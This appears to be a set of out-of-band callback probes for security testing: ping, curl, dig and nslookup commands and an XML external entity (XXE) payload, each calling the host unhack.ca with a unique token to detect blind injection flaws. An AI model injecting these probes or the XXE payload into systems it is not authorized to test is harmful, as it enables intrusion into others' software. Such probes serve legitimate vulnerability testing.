$ ping -c1 -p 0051cacc5a3d68c2ca147682c3f15f00 unhack.ca
 

$ curl http://unhack.ca/p/51cacc5a3d68c2ca147682c3f15f
 

$ dig 51cacc5a3d68c2ca147682c3f15f @unhack.ca
 

$ dig 51cacc5a3d68c2ca147682c3f15f.ns.unhack.ca
 

C:\> nslookup 51cacc5a3d68c2ca147682c3f15f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/51cacc5a3d68c2ca147682c3f15f">]>
    <foo>&xxe;</foo>